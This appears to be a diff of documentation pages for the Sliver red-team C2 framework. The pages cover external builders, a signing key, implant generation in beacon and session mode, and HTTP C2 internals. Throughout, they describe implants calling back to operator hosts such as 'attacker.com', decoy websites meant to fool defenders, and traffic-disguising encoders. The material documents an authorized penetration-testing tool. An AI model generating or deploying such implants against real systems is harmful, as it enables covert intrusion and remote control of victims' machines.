**⚠️ IMPORTANT:** Make sure the builder and server have identical `http-c2.json` configuration files to avoid incompatibility problems.
**⚠️ IMPORTANT:** Builders must have unique names, by default the builder's hostname will be used, but this can be changed using the `--name` cli flag.
#### External Builds
Any operator can see which builders are connected to the server using the `builders` command. This command will also show what templates, formats, and compiler targets each builder supports:
```
sliver > builders
Name Operator Templates Platform Compiler Targets
=============================== ========== =========== ============== ==========================
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
EXECUTABLE:linux/amd64
EXECUTABLE:windows/386
EXECUTABLE:windows/amd64
EXECUTABLE:darwin/amd64
EXECUTABLE:darwin/arm64
SHARED_LIB:windows/386
SHARED_LIB:windows/amd64
SHARED_LIB:darwin/amd64
SHARED_LIB:darwin/arm64
SHARED_LIB:linux/amd64
SERVICE:windows/386
SERVICE:windows/amd64
SHELLCODE:windows/386
SHELLCODE:windows/amd64
```
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
```
sliver > generate --mtls localhost --os mac --arch arm64 --external-builder
[*] Using external builder: molochs-MacBook-Pro-111.local
[*] Externally generating new darwin/arm64 implant binary
[*] Symbol obfuscation is enabled
[*] Creating external build ... done
[*] Build completed in 1m19s
```
If a given format/target combination is supported by multiple external builders you will be prompted to select one for the build.
#### Limitations
Currently external builds do not support DNS canaries.
## Implant Customization
You are welcome to customize the implant source code under the terms of Sliver's [GPLv3 license](https://github.com/BishopFox/sliver/blob/master/LICENSE). While we plan to improve the workflow over time, currently the easiest way to operationalize changes to the implant source code is:
1. Fork the main Sliver Github repository
1. Make modifications to the source code
1. [Compile a Sliver server binary](https://github.com/BishopFox/sliver/wiki/Compile-From-Source)
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
1. Operators can generate the customized implant builds via the `generate --external-builder` flag
1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs
@@ -0,0 +1,58 @@
This GPG key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
https://raw.githubusercontent.com/BishopFox/sliver/master/server/assets/fs/sliver.asc
```
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGBlvl8BEACpoAriv9d1vf9FioSKCrretCZg4RnpjEVNDyy6Y4eFp5dyR9KK
VJbm8gP4ymgqoTrjwqRp/tSiTB6h/inKnxlgy7It0gsRNRpZCGslPRVIQQBStiTv
sxQ4qIxebvku/4/dqoSmJzhNg9MzClR8HTO7Iv74jP7gGMD+gebvXwapstBkua66
N4OPRVyau3FvkD1hZR+XWLBA9ba3Ow7XRA/jl4Mk5LpsqUbFEWbung4oBPKtyriM
RkiRxOpkR7tAGGlay0kfCt9V6ip5GSb2+Mogk3jeqsD1BryABAlgWznxBbK5StXN
OXRzAT1TbGeEZ0K8FCXYWHLuakEntVKF2w1VaJ+bJDRLEecuiCmAj1kh9Xx99o5z
Lbgq+1Vad11Bx+9teOflLqil3H19YZPQIkunlW2ugqlvg9V5bywjh6GzRM0r83Oo
mY7aA75Teueaf2DX/23y+2UG924B9F2DrpNOfnIOb7ytFjVzDa02lpedF1OH0cv6
mRObEr0N6vJh223XduZDMk1uLIuVkmX5uVjfR5lWafWedykDMGbOYi4o+sABc9+8
3THwPKg4aRhwWBnblPKqzo598BP1/D1+GAxyc59nMNwFfOTmU7PIfhx7laG9/zxA
L1CygInIxZbr++NW4vr0qqbLHwX9fKY3C2iee5Q4N8a51bqXEdoM1R+gUwARAQAB
tB1TbGl2ZXIgPHNsaXZlckBiaXNob3Bmb3guY29tPokCTgQTAQgAOBYhBA7TkA0p
bPoCg6TkZn35EkBESQOcBQJgZb5fAhsDBQsJCAcCBhUKCQgLAgQWAgMBAh4BAheA
AAoJEH35EkBESQOcRr8QAI/b9hSOd80uk+I75NbxMeBk1QPZvA3Zj6wO22V4vj0w
9WlgwT30I5Zgjcmp+hp/+Mf+ywHzlyFRySVm6X1JYgLBT0GLZJvLBjW1oEdah7NP
i1snzU3v1aRYXwhj1HdIO4HHCJ/y4hv7S1AIQgCtsZ+tQFAA7e8xvj/dgC5xjl5p
2xxC+P9ZQTuCbO8WyxTMPt/Z/nnQfRO0og/GGLYrJyPed+w6wcThgEbW79YCG1jb
+M+MRnGZuuFkG6+J/rPPaj6R+DnDkCria0l5LUuQLTgOgFaLXEhsoGeXF6MjwIIb
bjL8uf4xmJpudbh1TS1IgriURZQkfypANXGK2O81VOcvrfL+u76Rv96M9BAHbxwZ
l+iVqXhsYHytV0/E8ouuL3UaX/8QNiD2YSLczHc2htq7yCwo7bNCl5P7kySAjTGM
mJmlJYD1DfRw8uw1or8EtxxwBVlpzNa5Bpnu6HGh7oFtA1ynGaO+VHngfKSUJkYJ
7y6ZW9wyWdGiKe5Sdp99ngL5+r9fnUChs3MVSE6Fl/WPobALlh57X51+Q7SENXQZ
a5mSNRGf4ZaaJnCIo3/PXJcqIjxC2CP5rtab1F9fSttUwWYSBcw7voN2COHfaipJ
JM5PvcLpyi6K5ZP17kjXkRU+hVWGufEmmakE5Mqr4wfsKcggAF7Oatbll1BpKzb2
uQINBGBlvl8BEACstG4cNeuYsRuKGinYs3P4X0l/r/Z2gFnwBf3l+X5IQKUxbW/l
32UMSEPUZCnojp8iHnmnL5N0AXLRi7rGU4coQysVwCd09apFom4WZNHGFfd0u+V/
zxaJ9Lxn6CVoMR1aQ2WCLSy/q06/T3OY7NE5rimtgPOtW2gXu0NLZD54D4SAdCNr
GF1iUK1R1AKIiY2R2Orp+yUBdUrFqHX9HyGvSC9eFzNGRBfLuW0P9ygUoyebZRBK
uT7QONgdduvfwJ7T8qYSHrPotOz/bsqcVEoYXFQ5XR/6WW1wJEeBeqBvhqYpsJaE
0h1zpzK1z6I5jBolyXdznCvm4OPGErynRIsseOtGrYAPFlMdZEUzrVPxbKQ0LVGH
bDA+PBgwwktt6wgJImGal8KpIbI6nVChCyLv/Ry7+mW15BFjDx3Mdf7Og4HN1KmZ
Tync6eEW11sculkC2QWXyrjb+o6bdF/6hNsa4XB2XKPCCMECxrOw5vx3lsau0sot
3hhMbq+FTRXx/pMNEV9c7JaEB1EkV5UAhHHnieOk4NqlIaib5vU6Z8aBHAEvQ1x/
t+GUWEOr5zvtmvd+YGeU6egX7yrqzSUjiS613oq/Nn1x9AS+dZuxMr+H/CiCnR1U
OhrUSywALihikehthAjnZoUml6eDCO9kKss2BTqoNthDTf/WXIRE8bY5gwARAQAB
iQI2BBgBCAAgFiEEDtOQDSls+gKDpORmffkSQERJA5wFAmBlvl8CGwwACgkQffkS
QERJA5xjow/+Ou+JjNXrQ2wsa2bhXmF6sW3Fzwuzf3DnjLUU8U5I0rxvweSuVxYT
uSDw7kj6H/alxPkem/6gUAlasfq70PliH7MrBW36FmGlyFf4rO1qAnLy5w1EIQm3
9C847b0sd7SivVq0Gx1MN25aZA1w1QLPPOQZhf6EXtkVeMOeHOXvmPjyiOcUdaZH
QXMkrTbKL2mudqUiUDrptgf9b7gfW7G7RWRuzgy8+JyxAyqpasfHdD9/9vpU9twu
lT/55TwSWQ0IiorgjfJNtJAVKuZ+73MgPPbH1kmSRcUBEleJOMPZvgCHhs5y3eQS
p5qUN2kQxNXLtWKVE8j9uGzY0DqO583orjATWj52Kz7SM4uio1ZBVLcJht6YPdBH
9MkG5o3Yuzif05VBnBp8AUeLNKkW4wlg9VUwdLFuY/6vDSApbU/BSvffx4BvOGha
2RNzTaiZaiie1Hji3/dsI7dCAfajznuzSmW/fBhDZotKEZr6o1m3OTN4gs3tA/pl
1IjjARdTpaKqQGDtTu520RC5K7AIQvgIVy4sQN0jBZM5qNkr4Qt+U94A3vqjaRGX
5UofpRVFFWGP9QQAuIacdTioF05sBcw15WC9ULxi2lV8vBsVjT9zIS4zxfRE8u/G
DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
```
@@ -1,24 +1,16 @@
---
layout: post
title: "Getting Started"
author: "moloch"
date: 2021-07-07 09:01:33 -0500
categories: sliver
---
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
#### System Requirements
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
### MinGW Setup (Optional, Recommended)
@@ -27,26 +19,28 @@ In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on
#### Linux (Debian-based)
```
apt install mingw-w64
apt install git mingw-w64
```
#### MacOS
```
brew install mingw-w64
brew install git mingw-w64
```
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+.
## Implants Beacon vs. Session
## Implants: Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
@@ -54,8 +48,6 @@ Some commands such as `shell` and `portfwd` only work over interactive sessions.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
@@ -118,8 +110,9 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
#### Additional Details
For addition details about each C2 please see:
* [HTTP(S) C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2)
* [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
- [HTTP(S) C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2>)
- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
## Getting Shells
@@ -171,9 +164,9 @@ Upon initial execution the beacon will register itself with the C2 server and wi
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
@@ -197,29 +190,29 @@ drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
@@ -227,28 +220,33 @@ You can use the `interactive` command to task a beacon to open an interactive se
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process.
By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
```
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint:
```
sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
```
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
- [Armory](https://sliver.sh/docs#name=Armory)
- [Stagers](https://sliver.sh/docs#name=Stagers)
- [Community Guides](https://sliver.sh/docs#name=Community%20Guides)
- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding)
- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS)
- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support)
+227
View File
@@ -0,0 +1,227 @@
Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous. There are separate commands for the listeners but an implant generated with `--http` may attempt to connect over both HTTP and HTTPS (see "under the hood" for more details).
## Generate the Implant
Sliver implants are compiled with a baked-in (but obfuscated of course) server domain that they will reach back out to. To generate a sliver implant that communicates to a server at `example.com` run the following:
#### Basic Example
```
sliver > generate --http example.com --os mac
[*] Generating new darwin/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/WORKING_HACIENDA
```
#### Multiple Domains
You can also specify multiple domains, in the event the implant cannot connect to the first it will subsequently attempt to connect to each domain you specified in order. Subsequent attempts are made based on the `--reconnect` argument (default 60 seconds). If no attempts are successful, the implant will loop across all of the domains until `--max-errors` (default 1000) is reached, at which point the implant will terminate execution:
```
sliver > generate --http example.com,attacker.com
[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
```
#### URL Prefixes and Other Options
Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP re-directors, etc. To add a URL prefix simply add a path to the domain as shown below:
```
sliver > generate --http example.com/foo/bar
[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
```
This implant will now prepend `/foo/bar` to all generated URLs for `example.com`. You may specify different path prefixes for different domains if you so choose.
#### Proxies
The implant attempts to auto-detect proxy settings using a modified version of the [go-get-proxied](https://github.com/rapid7/go-get-proxied) library. It supports detection of system proxy settings on Windows, MacOS, and Linux. In the event the implant cannot make a successful HTTP/HTTPS connection for a given domain using the system proxy settings, it will also attempt to make a connection to the same domain ignoring the proxy settings. The order of connection attempts is as follows:
1. HTTPS over system proxy
1. HTTP over system proxy
1. HTTPS direct connect
1. HTTP direct connect
#### Proxy Configuration
The priority of retrieval is the following:
- **Windows**
- Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
- Internet Options: Automatically detect settings (`WPAD`)
- Internet Options: Use automatic configuration script (`PAC`)
- Internet Options: Manual proxy server
- WINHTTP: (`netsh winhttp`)
- **Linux**
- Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
- **MacOS**
- Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
- Network Settings: `scutil`
#### NTLM/Kerberos Proxy Authentication
You can use [advanced options](https://github.com/BishopFox/sliver/wiki/C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
## Start the Listener
To start an HTTP listener use the `http` command, with no parameters this will start a listener on port 80 and respond to any domain (i.e., HTTP `Host:`) that comes in:
```
sliver > http
```
You can optionally restrict the listener to only respond to a specific domain using the `--domain` flag, currently each listener can only accept a single domain (but you can start any number of listeners you want):
```
sliver > http --domain example.com
```
## Static Content
Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the `websites` command (see `websites --help`):
```
websites --website fake-blog --web-path / --content ./index.html add
```
Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key<->value pairs request paths (e.g. `/foo/bar.html`) and response's content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
**Note:** C2 related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener:
```
sliver > http --website fake-blog --domain example.com
```
## SSL/TLS Certificates
By default when using the `https` listener Sliver will simply generate a random self-signed certificate. However, other options do exist. The `https` listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the `--lets-encrypt` flag.
```
sliver > https --domain example.com --lets-encrypt
```
This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](https://github.com/BishopFox/sliver/wiki/Troubleshooting).
You can also upload your own SSL/TLS certificate/key pairs:
```
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website fake-blog
```
## Modifying C2 Traffic
Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_.
### `implant_config`
| Field Name | Description |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `user_agent` | The implant's user agent, a blank string will randomly generate a platform appropriate user-agent and version (default: blank) |
| `chrome_base_version` | The Chrome version to put into the user agent head, plus a random value up to 3 (default: `100`) |
| `url_parameters` | A list of objects that contain a `name`, `value`, and a `probability` that should be included as URL query parameters in addition to the ones used by encoders (default: `null`). Probability may be 1-100, any other value will be treated as 100. URL parameter names must be 3 or more characters. |
| `headers` | A list of objects that contain a `name`, `value` and a `probability ` to add as request headers (default: `null`) |
| `max_files` | Max number of random file names to use (default: `8`) |
| `min_files` | Min number of random file names to use (default: `2`) |
| `max_paths` | Max number of path segments to generate per-URL in addition to any prefixes (default: `8`) |
| `min_paths` | Min number of path segments to generate per-URL in addition to any prefixes (default: `2`) |
| `stager_file_ext` | The file extension to associate with stagers (default: `.woff`) |
| `stager_files` | A list of strings that should be used as "file name" segments in the URL, appended with `stager_file_ext` |
| `stager_paths` | A list of strings that should be used as path segments in the generated URL |
| `poll_file_ext` | The file extension to associate with poll requests (default: `.js`) |
| `poll_files` | A list of strings that should be used as "file name" segments in the URL, appended with `poll_file_ext` |
| `poll_paths` | A list of strings that should be used as path segments in the generated URL |
| `start_session_file_ext` | The file extension to associate with key exchange messages (default: `.html`) |
| `session_file_ext` | The file extension to associate with session messages (default: `.php`) |
| `session_files` | A list of strings that should be used as "file name" segments in the URL, appended with `session_file_ext` and `start_session_file_ext` |
| `session_paths` | A list of strings that should be used as path segments in the generated URLs |
| `close_file_ext` | The file extension to associate with close session messages (default: `.png`) |
| `close_files` | A list of strings that should be used as "file name" segments in the URL, appended with `close_file_ext` |
| `close_paths` | A list of strings that should be used as path segments in generated URLs |
### `server_config`
| Field Name | Description |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `random_version_headers` | Boolean value, if enabled the server will return random Apache/Nginx and PHP version numbers (default: `false`) |
| `headers` | A list of objects containing a `name`, `value`, and a `probability` that should be included as response headers. Probability may be 1-100, any other value will be treated as 100. |
| `cookies` | A list of strings to use as cookie names |
# Under the Hood
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users want to understand, extend, or are simply curious about Sliver's design.
### Design Goals
The primary goals of the existing HTTP C2 design are to:
- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
- **Data Security** I won't cover this here, but [click here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) for details.
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
### Procedural HTTP C2
Sliver [procedurally generates](https://en.wikipedia.org/wiki/Procedural_generation) each HTTP request with the C2 data in it based on the configuration file described above. Each request will have randomized URLs and query arguments, and different types of messages also use different file extensions/paths.
Each implant is also only embedded with a randomly generated subset of the server's C2 profile, so two or more implants generated from the same server may not generate similar URLs depending on how you tweak the configuration.
#### Implant-side
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](https://github.com/BishopFox/sliver/wiki/Transport-Encryption). Everything in the path except for the extension is ignored by the server.
In the default configuration:
- `.woff` = Stagers
- `.js` = Long poll messages
- `.html` = Key exchange messages
- `.php` = Session messages
- `.png` = Close session messages
2. Randomly select an encoder from `sliver/encoders`, an encoder defines how the message we're trying to send to the server gets encoded. Note that we're always encoding the ciphertext of a message, these encoders are purely for obfuscation _not security_. The currently supported encoders are:
- **Base64** Base64 with a custom alphabet so that it's not interoperable with standard Base64
- **Hex** Standard hexadecimal encoding with ASCII characters
- **Gzip** Standard gzip
- **English** Encodes arbitrary data as English ASCII text
- **PNG** Encodes arbitrary data into valid PNG image files
- **Gzip+English** A combination of the Gzip and English encoders
- **Base64+Gzip** A combination of the Base64 and Gzip encoders
Each of these encoders has a unique "Encoder ID," which is currently hardcoded but we'll probably randomly generate these per-server in the future.
3. Generate a `nonce`, the nonce is equal to a random number times the `EncoderModulus` plus the encoder ID; the `EncoderModulus` is currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce modulo `EncoderModulus`) to determine the original Encoder ID. In code this looks like:
```
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
encoderId := nonce % EncoderModulus
```
The nonce is included in the request as the query parameter `_`, the idea is that this a standard pattern for "cache busting" and at a glance looks legitimate as the nonces look (are) random. The server also ignores any request that does not contain a valid nonce, just in case any pesky blue teamers come sniffing around the web server. An invalid nonce is define as any value that does not map to an Encoder ID or zero. A "NOP" nonce is also supported, which is an encoder ID of zero (i.e. the modulo of the nonce equals zero).
4. Send the request to the server, this could be any valid transport such as HTTP, HTTPS, or over a proxy -the same request format is always used for any HTTP-like protocol.
#### Server-side
5. When the server receives the request it will route the request to a given handler based on the requested path's extension as detailed above (in this case we're talking about paths that end in `.php`).
6. Check that the request contains a valid nonce, if the request does not contain a valid nonce it is ignored from a C2 standpoint but the server may still respond with `website` content.
7. Determine the encoder based on the nonce, decode and decrypt the request.
8. Execute any server-side processing.
